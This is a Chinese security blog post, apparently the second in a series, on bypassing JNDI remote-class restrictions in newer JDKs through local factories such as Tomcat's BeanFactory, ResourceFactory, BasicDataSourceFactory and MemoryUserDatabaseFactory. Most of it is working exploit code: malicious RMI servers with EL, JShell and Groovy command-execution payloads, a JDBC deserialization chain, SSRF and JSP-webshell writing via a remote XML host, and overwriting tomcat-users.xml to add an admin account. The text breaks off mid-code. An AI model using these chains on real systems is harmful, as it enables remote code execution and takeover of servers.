Loading

java-JNDI(二)高版本绕过

JNDI 高版本的绕过

为了防止 JNDI 攻击,Oracle 对 JNDI 的远程类加载漏洞(如 LDAPRMI 协议的远程代码执行(RCE))进行了限制

com.sun.jndi.rmi.object.trustURLCodebase=false
com.sun.jndi.cosnaming.object.trustURLCodebase=false
com.sun.jndi.ldap.object.trustURLCodebase=false

旧版本(如 JDK 8u121 及以下)默认为 true,允许远程类加载。

具体的版本可以看我上一篇文章 java-JNDI 攻击流程 (一) - Ling-X5 - 博客园

低版本

image-20250315091519695

高版本

image-20250315091610953

通过对比我们也可以看到,当 trustURLCodebase 为 true 时,才允许加载 codebase 远程类

绕过原理

主要是因为在 JNDI 查询带特定的 Referenc_Wrapper 对象后,会去用 com.sun.jndi.rmi.registry.RegistryContext#decodeObject 解析,里面调用了 javax.naming.spi.NamingManager#getObjectInstance 方法,而这个方法会去获得 ref 中的工厂,并调用工厂的 getObjectInstance 方法

image-20250317124830846

我们就想到看有没有本地工厂的 getObjectInstance 是可以利用的

JNDI-Tomcat 绕过

还记得我们当时在编写 Exploit 的时候说过,他会先去加载本地的类,本地没有他才会去加载 codebase 指定的远程类

image-20250315094154344

它限制了我们加载远程的方式,那我们可不可以找一个本地的工厂,来实现 RCE 呢?

我们要找到一个工厂类,需要满足一下几个条件:

  • 工厂类必须实现 javax.naming.spi.ObjectFactory 接口,因为 javax.naming.spi.NamingManager#getObjectFactoryFromReference 方法,在返回时做了 ObjectFactory 类型的强转
  • 该工厂类至少存在一个 getObjectInstance() 方法,从工厂中获得实例

而恰好 org.apache.naming.factory.BeanFactory 类符合。有了 Factory,我们还需要从 Factory 去拿到一个可以执行命令的实例,且可以被我们控制行为。

BeanFactory+ELProcessor

javax.el.ELProcessor#eval 方法,支持 EL 表达式的执行,可以传入一个字符串,从而实现 RCE。这其实是 BeanFactory 的实现逻辑造成的

BeanFactory 在处理 Reference 时,会检查属性并调用目标对象的 setter 方法。通常,setter 方法的名称是根据属性名推导的(例如属性 x 对应 setX)。但 BeanFactory 支持一个特殊属性 forceString,可以强制指定 setter 方法的名称。

攻击者可以利用这一点,将某个属性的 setter 方法重定向到 eval 方法。

官方当时的介绍是: 新的属性“forceString”接受以逗号分隔的项作为值。每个项要么是一个 bean 属性名称(例如“foo”),意味着该属性有一个 setter 函数“setFoo(String)”。或者该项的形式为“foo = method”,意味着属性“foo”可以通过调用“method(String)”来设置。

导入依赖

<dependency>
    <groupId>org.glassfish</groupId>
    <artifactId>javax.el</artifactId>
    <version>3.0.1-b12</version>
</dependency>
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.8</version>
</dependency>

EvilRMIServer

package com.evil;

import java.rmi.registry.*;
import javax.el.ELProcessor;
import javax.naming.*;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

public class EvilRMIServer {
    public static void main(String[] args) throws Exception {
        // 创建一个RMI注册表,监听1099端口
        Registry registry = LocateRegistry.createRegistry(1099);

        // 创建一个ResourceRef对象,指定工厂类为BeanFactory
        ResourceRef ref = new ResourceRef(
            "javax.el.ELProcessor", null, "", "", true,
            "org.apache.naming.factory.BeanFactory", null
        );

        // 添加StringRefAddr,设置forceString属性为"x=eval"
        ref.add(new StringRefAddr("forceString", "x=eval"));

        // 添加StringRefAddr,设置x属性,用于执行系统命令
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script" +
                             ".ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));

        // 创建ReferenceWrapper对象,包装ResourceRef对象
        ReferenceWrapper wrapper = new ReferenceWrapper(ref);

        // 将ReferenceWrapper对象绑定到RMI注册表中,名称为"Exploit"
        registry.bind("Exploit", wrapper);

        // 输出提示信息,表示恶意RMI服务器正在运行
        System.out.println("Evil RMI server running on port 1099...");
    }
}

JNDIvuln

package com.lingx5;

import javax.naming.InitialContext;

public class JNDIvuln {
    public static void main(String[] args) {
        try {
            InitialContext context = new InitialContext();
            context.lookup("rmi://localhost:1099/Exploit");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

image-20250315131751192

基本的执行流程就是

客户端(JNDIvuln)的 lookup()方法会去调用 javax.naming.spi.NamingManager#getObjectFactoryFromReference ( 中间过程就省略了 ),会去从本地记载我们指定的 org.apache.naming.factory.BeanFactory,拿到 BeanFactory 后,执行 org.apache.naming.factory.BeanFactory#getObjectInstance 方法,初始化 javax.el.ELProcessor 对象,利用 forceString 机制,使得 javax.el.ELProcessor#eval 方法执行我们的 payload,实现 RCE

image-20250315132847475

图中展示了关键的参数和方法

Nashorn JavaScript 引擎,可以解析 javascript 脚本,执行命令,不过 Java15 以后,删除了这种引擎。幸运的是,自 Java 9 以来,有一个等效的替代方案。我们可以使用 JShell,使用一下 payload 替代

String payload = "{" +
     " \"\".getClass().forName(\"jdk.jshell.JShell\")" +
     ".getMethod(\"create\").invoke(null).eval(\"java.lang.Runtime.getRuntime()" +
     ".exec(${command})\")" +
     "}"
     .replace("${command}", "\\\"" + Config.command + "\\\"");

BeanFactory+groovy

groovy.lang.GroovyClassLoader#parseClass(java.lang.String)

parseClass 使用 Groovy 的编译器(基于 groovy.lang.GroovyShell 和 org.codehaus.groovy.control.CompilerConfiguration)将字符串编译为 Java 字节码。然后会触发类加载,执行我们的恶意代码

GroovyClassLoader 的特殊性:与标准的 ClassLoader.defineClass 不同,GroovyClassLoader 在解析脚本时可能推迟了类的加载和链接步骤,直到需要时才完成。这与传统的 Java 类加载机制(如 Class.forName() 或直接使用 .class 文件)有所不同。

我们先来看一下 groovy.lang.GroovyClassLoader#parseClass(java.lang.String)这个方法能干什么

示例

package com.evil;

import groovy.lang.GroovyClassLoader;


public class groovyTest {
    public static void main(String[] args) throws Exception {
        GroovyClassLoader gcl = new GroovyClassLoader();
        String script = "class Evil { " +
            "static { Runtime.getRuntime().exec(\"calc\") } }";
        Class<?> clazz = gcl.parseClass(script);
        System.out.println(clazz);
//       clazz.getConstructor().newInstance();
    }
}

结果

image-20250315164020591

只有类名输出,而没有执行我们的静态代码块。说明他和 defineClass 方法作用很相似,只是把类在内存中做了定义,并没有初始化

我们把注释打开,显示初始化这个类

image-20250315164548087

计算机弹出来了,那我们有没有办法让 groovy.lang.GroovyClassLoader#parseClass(java.lang.String),不仅仅是在内存定义类,还去执行一些方法呢?

有的,兄弟!有的

GroovyClassLoader.parseClass 调用 Groovy 的编译器。编译器支持 @ASTTest 注解,@ASTTest 的 value 闭包是在编译器处理脚本时立即运行,而不是等到类加载或实例化。

于是我们就有了

package com.evil;

import groovy.lang.GroovyClassLoader;


public class groovyTest {
    public static void main(String[] args) throws Exception {
        GroovyClassLoader gcl = new GroovyClassLoader();
        String script = "@groovy.transform.ASTTest(value={\n" +
                "    assert java.lang.Runtime.getRuntime().exec(\"calc\")\n" +
                "})\n" +
                "def x\n";
        Class<?> clazz = gcl.parseClass(script);
        System.out.println(clazz);
//       clazz.getConstructor().newInstance();
    }
}

image-20250315170245495

evilGroovyServer

package com.evil;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class evilGroovyServer {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef ref = new ResourceRef(
                "groovy.lang.GroovyClassLoader", null, "", "", true,
                "org.apache.naming.factory.BeanFactory", null
        );
        ref.add(new StringRefAddr("forceString", "x=parseClass"));
        String script = "@groovy.transform.ASTTest(value={\nassert java.lang.Runtime.getRuntime().exec(\"calc\")\n})\ndef x\n";

        ref.add(new StringRefAddr("x",script));
        ReferenceWrapper wrapper = new ReferenceWrapper(ref);
        registry.bind("Exploit", wrapper);

    }
}

JNDIvuln

package com.lingx5;

import javax.naming.InitialContext;

public class JNDIvuln {
    public static void main(String[] args) {
        try {
            InitialContext context = new InitialContext();
            context.lookup("rmi://localhost:1099/Exploit");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

image-20250315190449355

版本修复

但是 BeanFactory 的这个 forceString 特性最终还是被修复了(也就是被删除了),下面是修复的版本

Tomcat finally modified the BeanFactory in the following versions:

  • 10.1.x for 10.1.0-M14 onwards
  • 10.0.x for 10.0.21 onwards
  • 9.0.x for 9.0.63 onwards
  • 8.5.x for 8.5.79 onwards

ResourceFactory 二次注入

类似的还有 LookupFactory,OpenEjbFactory,JavaBeanObjectFactory 其原理和方法大致都相同。

org.apache.naming.factory.ResourceFactory 工厂类实现了 FactoryBase 类,会去执行 org.apache.naming.factory.FactoryBase#getObjectInstance 方法,

public final Object getObjectInstance(
    Object obj,          // 要创建的对象的引用(通常是Reference对象)
    Name name,           // 对象的名称(JNDI命名路径)
    Context nameCtx,     // 上下文环境(用于解析相对名称)
    Hashtable<?,?> environment // JNDI环境参数(如安全配置、属性等)
) throws Exception {

    // 1. 检查输入对象是否为支持的引用类型(如Reference)
    if (isReferenceTypeSupported(obj)) {
        Reference ref = (Reference) obj;

        // 2. 尝试获取已缓存或直接链接的对象(避免重复创建)
        Object linked = getLinked(ref);
        if (linked != null) {
            return linked; // 直接返回已存在的实例
        }

        // 3. 初始化工厂对象(用于创建目标资源)
        ObjectFactory factory = null;
        RefAddr factoryRefAddr = ref.get(Constants.FACTORY); // 获取factory属性

        // 3.1 如果引用中指定了工厂类
        if (factoryRefAddr != null) {
            // 提取工厂类的全限定类名
            String factoryClassName = factoryRefAddr.getContent().toString();

            // 3.2 加载工厂类(使用线程上下文类加载器或默认类加载器)
            ClassLoader tcl = Thread.currentThread().getContextClassLoader();
            Class<?> factoryClass = null;
            try {
                if (tcl != null) {
                    factoryClass = tcl.loadClass(factoryClassName);
                } else {
                    factoryClass = Class.forName(factoryClassName);
                }
            } catch (ClassNotFoundException e) {
                // 工厂类未找到,抛出命名异常
                NamingException ex = new NamingException(
                    "Could not load resource factory class");
                ex.initCause(e);
                throw ex;
            }

            // 3.3 实例化工厂类(通过无参构造函数)
            try {
                factory = (ObjectFactory) factoryClass.getConstructor().newInstance();
            } catch (Throwable t) {
                // 处理实例化过程中的异常(如构造函数抛出的异常)
                if (t instanceof NamingException) {
                    throw (NamingException) t;
                }
                if (t instanceof ThreadDeath) {
                    throw (ThreadDeath) t;
                }
                if (t instanceof VirtualMachineError) {
                    throw (VirtualMachineError) t;
                }
                // 其他异常包装为NamingException
                NamingException ex = new NamingException(
                    "Could not create resource factory instance");
                ex.initCause(t);
                throw ex;
            }
        } else {
            // 3.4 若未指定工厂类,使用默认工厂(由子类实现)
            factory = getDefaultFactory(ref);
        }

        // 4. 使用工厂创建目标对象
        if (factory != null) {
            return factory.getObjectInstance(
                obj, name, nameCtx, environment // 递归调用工厂的getObjectInstance
            );
        } else {
            // 工厂未找到,抛出异常
            throw new NamingException("Cannot create resource instance");
        }
    }

    // 输入对象不支持,返回null
    return null;
}

之里面的主要可以产生利用的逻辑,我摘出来看一下

ObjectFactory factory = null;
RefAddr factoryRefAddr = ref.get(Constants.FACTORY); // 获取factory属性

// 3.1 如果引用中指定了工厂类
if (factoryRefAddr != null) {
    // 提取工厂类的全限定类名
    String factoryClassName = factoryRefAddr.getContent().toString();

    // 3.2 加载工厂类
    ClassLoader tcl = Thread.currentThread().getContextClassLoader();
    Class<?> factoryClass = null;

    if (tcl != null) {
        factoryClass = tcl.loadClass(factoryClassName);
    } else {
        factoryClass = Class.forName(factoryClassName);
    }
}
else {
    // 3.4 若未指定工厂类,使用默认工厂
    factory = getDefaultFactory(ref);
}
// 4. 使用工厂创建目标对象
if (factory != null) {
    return factory.getObjectInstance(
        obj, name, nameCtx, environment // 调用工厂的getObjectInstance
    );
} 

主要就是获取 ref 中的 factory 属性,如果没有,就获取默认的工厂。最后调用获得工厂的 getObjectInstance 方法。这里我们实际上已经可以实现二次注入了,最后还是会去调用 getObjectInstance,只是前边绕了一圈。我们可以利用这一性质去绕过一些黑名单。

factory 属性利用

我们依然可以搭配 BeanFactory 实现 RCE

你可能会觉得绕这么一圈有点没用,其实我们可以使用这个做很多事情,如果开发自己写的过滤条件只是把 BeanFactory 加入了黑名单,我们就可以使用 ResourceFactory 来进行绕过了

代码示例

evilResourceFactory

package com.evil;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class evilResourceFactory  {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef ref = new ResourceRef(
                "javax.el.ELProcessor", null, "", "", true,
                "org.apache.naming.factory.ResourceFactory", null
        );
        ref.add(new StringRefAddr("factory", "org.apache.naming.factory.BeanFactory"));
        ref.add(new StringRefAddr("forceString", "x=eval"));
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script" +
                ".ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval" +
                "(\"java.lang.Runtime.getRuntime().exec('calc')\")"));
        ReferenceWrapper wrapper = new ReferenceWrapper(ref);
        registry.bind("Exploit", wrapper);
    }
}

JNDIvuln

package com.lingx5;

import javax.naming.InitialContext;

public class JNDIvuln {
    public static void main(String[] args) {
        try {
            InitialContext context = new InitialContext();
            context.lookup("rmi://localhost:1099/Exploit");
//            context.lookup("ldap://localhost:1389/cn=exploit,dc=example,dc=com");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

运行

image-20250317150506050

其实我们还可以利用二次注入玩很多东西。

默认工厂利用

我们可以实现 JDBC ATTACK,如果你对 JDBC attack 不熟悉,可以去看 Tri0mphe 师傅的这篇文章:文章 - 小白看得懂的 MySQL JDBC 反序列化漏洞分析 - 先知社区,当然我后边也会讲一些

分析

如果我们没有 set factory 属性,我们会执行 factory = getDefaultFactory(ref); ,org.apache.naming.factory.ResourceFactory#getDefaultFactory 看一下这个方法

protected ObjectFactory getDefaultFactory(Reference ref) throws NamingException {

    ObjectFactory factory = null;
		// ref的resourceClass我们就必须设置为javax.sql.DataSource才会进入if的逻辑
    if (ref.getClassName().equals("javax.sql.DataSource")) {
        // Constants.DBCP_DATASOURCE_FACTORY的值为org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory
        String javaxSqlDataSourceFactoryClassName =
            System.getProperty("javax.sql.DataSource.Factory",
                               Constants.DBCP_DATASOURCE_FACTORY);
        try {
            // 初始化BasicDataSourceFactory工厂
            factory = (ObjectFactory) Class.forName(
                javaxSqlDataSourceFactoryClassName).getConstructor().newInstance();
        } catch (Exception e) {
            NamingException ex = new NamingException(
                "Could not create resource factory instance");
            ex.initCause(e);
            throw ex;
        }
        //javax.mail.Session 没有可利用的点
    } else if (ref.getClassName().equals("javax.mail.Session")) {
        String javaxMailSessionFactoryClassName =
            System.getProperty("javax.mail.Session.Factory",
                               "org.apache.naming.factory.MailSessionFactory");
        try {
            factory = (ObjectFactory) Class.forName(
                javaxMailSessionFactoryClassName).getConstructor().newInstance();
        } catch(Throwable t) {
            if (t instanceof NamingException) {
                throw (NamingException) t;
            }
            if (t instanceof ThreadDeath) {
                throw (ThreadDeath) t;
            }
            if (t instanceof VirtualMachineError) {
                throw (VirtualMachineError) t;
            }
            NamingException ex = new NamingException(
                "Could not create resource factory instance");
            ex.initCause(t);
            throw ex;
        }
    }

    return factory;
}

org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory#getObjectInstance 会去处理 JDBC 连接的配置属性,当 dataSource.getInitialSize() > 0 时 dataSource.getLogWriter() 创建连接。在创建 connect 的时候我们的 url 设置 "jdbc:mysql://127.0.0.1:3306/security?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true";。触发 ServerStatusDiffInterceptor 连接器的 postProcess 方法,从而触发 JDBC 反序列

image-20250318101946251 image-20250318102011705

这里我们可以用工具生成恶意的 mysql 服务:MySQL Fake Server

image-20250317162444207

我这里的 mysql 版本为 8.0.11

<dependency>
        <groupId>mysql</groupId>
        <artifactId>mysql-connector-java</artifactId>
        <version>8.0.11</version>
    </dependency>

evilResourceFactory

package com.evil;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class evilResourceFactory  {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef ref = new ResourceRef(
                "javax.sql.DataSource", null, "", "", true,
                "org.apache.naming.factory.ResourceFactory", null
        );
        ref.add(new StringRefAddr("driverClassName", "com.mysql.cj.jdbc.Driver"));
        String jdbcUrl = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors" +
                "=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC31_calc";
        ref.add(new StringRefAddr("url", jdbcUrl));
        ref.add(new StringRefAddr("username", "deser_CC31_calc"));
        ref.add(new StringRefAddr("initialSize", "1"));
        ReferenceWrapper wrapper = new ReferenceWrapper(ref);
        registry.bind("Exploit", wrapper);
    }
}

JNDIvuln

package com.lingx5;

import javax.naming.InitialContext;

public class JNDIvuln {
    public static void main(String[] args) {
        try {
            InitialContext context = new InitialContext();
            context.lookup("rmi://localhost:1099/Exploit");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

成功弹出了计算机

image-20250317164220131

JNDI-JDBC 绕过

BasicDataSourceFactory

我们来了解一下 JDBC 的反序列化

首先反序列化的入口肯定是 readObject()方法,我们首先来看 com.mysql.cj.jdbc.result.ResultSetImpl#getObject(int)方法

image-20250317192721927

然后去看有谁在调用 getObject()方法,有没有利用的可能。看到了 com.mysql.cj.jdbc.util.ResultSetUtil#resultSetToMap(java.util.Map, java.sql.ResultSet)

image-20250317193556902

调用链基本就找到了

com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues
										↓
	com.mysql.cj.jdbc.util.ResultSetUtil#resultSetToMap(java.util.Map, java.sql.ResultSet)
										↓
			com.mysql.cj.jdbc.result.ResultSetImpl#getObject(int)
										↓
				java.io.ObjectInputStream#readObject()

而 ServerStatusDiffInterceptor 这个类是一个拦截器,我们发送特定的请求他就会拦截处理请求,自动执行他的 preProcess(执行一个核心方法之前)和 postProcess(执行完核心方法之后

这里我们依然可以用 BasicDataSourceFactory 工厂来触发 JDBC 连接,让 JNDI 服务器查询恶意的 MYSQL 服务器,触发 Gadget 反序列化。

evilJDBC

package com.evil;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class evilJDBC {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef ref = new ResourceRef(
                "javax.sql.DataSource", null, "", "", true,
                "org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory", null
        );
        ref.add(new StringRefAddr("driverClassName", "com.mysql.cj.jdbc.Driver"));
        String jdbcUrl = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors" +
                "=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC31_calc";
        ref.add(new StringRefAddr("url", jdbcUrl));
        ref.add(new StringRefAddr("username", "deser_CC31_calc"));
        ref.add(new StringRefAddr("initialSize", "1"));
        ReferenceWrapper wrapper = new ReferenceWrapper(ref);
        registry.bind("Exploit", wrapper);
    }
}

JNDIvlun

package com.lingx5;

import javax.naming.InitialContext;

public class JNDIvuln {
    public static void main(String[] args) {
        try {
            InitialContext context = new InitialContext();
            context.lookup("rmi://localhost:1099/Exploit");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

同时开启 fake-mysql 服务

image-20250317203814014

看到成功执行了命令

image-20250317203926170

JNDI-XXE 绕过

来到 org.apache.catalina.users.MemoryUserDatabaseFactory#getObjectInstance 这个方法

/**
     * 根据指定的 Reference 对象创建并返回一个新的 MemoryUserDatabase 实例。
     * 如果无法创建实例,则返回 null。
     *
     * @param obj 包含位置或引用信息的对象,用于创建目标对象,可能为 null
     * @param name 相对于 nameCtx 的对象名称,如果 nameCtx 为 null,则相对于默认初始上下文
     * @param nameCtx 名称所指定的上下文,可能为 null
     * @param environment 用于创建此对象的环境,可能为 null
     * @return 配置好的 MemoryUserDatabase 实例,如果无法创建则返回 null
     * @throws Exception 如果在创建对象过程中发生异常
     */
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
                                Hashtable<?,?> environment)
    throws Exception {

    // 检查 obj 是否为有效的 Reference 类型,并确保其类名为 "org.apache.catalina.UserDatabase"
    if ((obj == null) || !(obj instanceof Reference)) {
        return null;
    }
    Reference ref = (Reference) obj;
    if (!"org.apache.catalina.UserDatabase".equals(ref.getClassName())) {
        return null;
    }

    // 创建 MemoryUserDatabase 实例并根据 Reference 的 RefAddr 值进行配置
    MemoryUserDatabase database = new MemoryUserDatabase(name.toString());
    RefAddr ra = null;

    // 设置数据库的路径名属性
    ra = ref.get("pathname");
    if (ra != null) {
        database.setPathname(ra.getContent().toString());
    }

    // 设置数据库的只读属性
    ra = ref.get("readonly");
    if (ra != null) {
        database.setReadonly(Boolean.parseBoolean(ra.getContent().toString()));
    }

    // 打开数据库并保存(如果非只读)
    database.open();
    // 如果数据库不是只读模式,则尝试保存配置
    if (!database.getReadonly()) {
        database.save();
    }
    return database;

}

他这里做完 MemoryUserDatabase 的配置后,执行了 org.apache.catalina.users.MemoryUserDatabase#open 方法,它负责从 XML 配置文件中加载用户、组和角色信息到内存数据库中。我们来看 open 的逻辑

image-20250318121156840

他最后 parse()解析 xml,这里我们实际上已经可以利用 xxe 实现 ssrf 内网扫描了。

ssrf 扫描内网

这里可以简单画一个流程图
image-20250318141938667

恶意的 xml 服务器

image-20250318134819390

本地的 http 服务 (只允许localhost访问)

image-20250318134910088

evilMemory

package com.evil;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class evilMemory {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase",
                null, "", "", false,
                "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
        ref.add(new StringRefAddr("pathname", "http://lingx5.dns.army:8000/evil.xml"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("Exploit", referenceWrapper);
    }
}

JNDIvuln

package com.lingx5;

import javax.naming.InitialContext;

public class JNDIvuln {
    public static void main(String[] args) {
        try {
            InitialContext context = new InitialContext();
            context.lookup("rmi://localhost:1099/Exploit");
//            context.lookup("ldap://localhost:1389/cn=exploit,dc=example,dc=com");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

利用远程的 xml,让存在 JNDI 的漏洞服务器发送了一个本地请求

image-20250318135157744 image-20250318143208718

实现 RCE

其实利用 XXE 实现 RCE 是很困难的,更多的就是 ssrf 和文件读取的利用,因为 XXE 的 SYSTEM 实体和 ENTITY 声明的主要目的是引用外部资源(文件或 URL)它们的设计目的是读取文件内容或发起网络请求,而不是执行任意的操作系统命令。但是浅蓝师傅还是做到了,让我们跟着师傅的思路复现一下

在解析 XML 的过程中,我们把结果进行了数据填充

digester.addFactoryCreate("tomcat-users/group", new MemoryGroupCreationFactory(this), true);
digester.addFactoryCreate("tomcat-users/role", new MemoryRoleCreationFactory(this), true);
digester.addFactoryCreate("tomcat-users/user", new MemoryUserCreationFactory(this), true);

它们定义了 如何将 XML 配置文件中的特定 XML 元素映射到 Java 对象 的规则, 简单来说,它们告诉 Digester XML 解析器:

在 XML 中遇到 <tomcat-users> 元素下的 <group><role><user> 元素时,分别使用 MemoryGroupCreationFactoryMemoryRoleCreationFactoryMemoryUserCreationFactory 这些 工厂来创建相应的 Java 对象。

看 MemoryUserCreationFactory(this)它具体干了什么

主要逻辑就是根据解析内容创建 java 对象,然后返回

image-20250318152049758

最后

image-20250318152112011

org.apache.catalina.users.MemoryUserDatabase#open 执行完之后,我们会去执行 org.apache.catalina.users.MemoryUserDatabase#save 方法

image-20250318152520497

这里我们肯定时候要访问外部服务器的,也就是我们的pathname的格式肯定是http://lingx5.dns.army:8000/这样的格式,在进行拼接,所以filenew就是 D:/JAVA/apache-tomcat-8.5.91/http:lingx5.dns.army:8000/webapps/ROOT/evil-user.jsp.new

我们可以使用../来调整文件位置(仅是在window),liunx可以去看浅蓝师傅的文章,用到BeanFactory结合文件的工厂创建了形如http://example.com/的文件目录。

使得filenew 变为 D:/JAVA/apache-tomcat-8.5.91/http:lingx5.dns.army:8000../../webapps/ROOT/evil-user.jsp.new

后边代码修改了文件名,把后缀.new去掉了

image-20250318171454724

tomcat7 RCE

evil-user.jsp

在http服务的文件

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
  <role rolename="&#x3c;%Runtime.getRuntime().exec(&#x22;calc&#x22;); %&#x3e;"/>
</tomcat-users>

evilMemory

这个是RMI的服务端文件

package com.evil;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class evilMemory {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(11099);
        ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase",
                null, "", "", false,
                "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
        ref.add(new StringRefAddr("pathname", "http://lingx5.dns.army:8000/../." +
                "./webapps/ROOT/evil-user.jsp"));
        ref.add(new StringRefAddr("readonly", "false"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("Exploit", referenceWrapper);
    }
}

JNDItomcatvuln

这个我们需要部署到tomcat服务器上去,我是打成war包,部署上去的。因为我在idea上部署,idea会默认改变我的Globals.CATALINA_BASE_PROP的值。

package com.lingx5;

import javax.naming.InitialContext;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet("/jndi")
public class JNDItomcatvuln extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
        try {
            InitialContext context = new InitialContext();
            context.lookup("rmi://localhost:11099/Exploit");
//            context.lookup("ldap://localhost:1389/cn=exploit,dc=example,dc=com");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

防止版本依赖的一些问题,我的war包里面就放了一个JNDItomcatvuln文件,打成war包部署到tomcat7中

image-20250319120727539image-20250319115831700

启动tomcat 和 evilMemory(RMI)服务,同时开启我们远程的http服务

image-20250318203313993 image-20250319120538755

我们在浏览器访问

http://localhost:8080/JNDItomcat/jndi

远程恶意服务器接收到请求

image-20250319120404735

看到evil-user.jsp成功写入

image-20250319120123081

我们访问 evil-user.jsp

发现弹出计算器成功

image-20250319120917696

版本对比

不过这仅仅是在tomcat7中,可以把我们恶意的属性,就是进行html实体编码的<,“”,>这种特殊字符进行传输。

而从 Tomcat 8 开始,Apache Tomcat 团队为了提升安全性,特别是防御 XXE (XML External Entity) 注入和某些类型的注入攻击,对 XML 解析过程进行了增强。其中一个重要的改变就是 默认启用 HTML 实体编码

  • < 会被编码为 <
  • > 会被编码为 >
  • " 会被编码为 "
  • & 会被编码为 &
  • ' 会被编码为 '

image-20250319121835314

image-20250319121911161

tomcat8 RCE

即使他进行了html的实体编码,我们依然是可以写文件的,如果tomcat服务器开启了manager界面,我们可以利用这一特性把tomcat-user.xml覆盖掉,创建一个我们自定义的管理员用户

tomcat-users.xml

恶意的远程http服务

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
    <role rolename="manager-gui"/>
    <role rolename="manager-script"/>
    <user username="lingx5" password="123456" roles="manager-gui,manager-script"/>
</tomcat-users>

JNDItomcatvuln

受害者主机

package com.lingx5;

import javax.naming.InitialContext;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet("/jndi")
public class JNDItomcatvuln extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
        try {
            InitialContext context = new InitialContext();
            context.lookup("rmi://localhost:11099/Exploit");
//            context.lookup("ldap://localhost:1389/cn=exploit,dc=example,dc=com");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

evilMemory

恶意的RMI服务

package com.evil;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class evilMemory {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(11099);
        ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase",
                null, "", "", false,
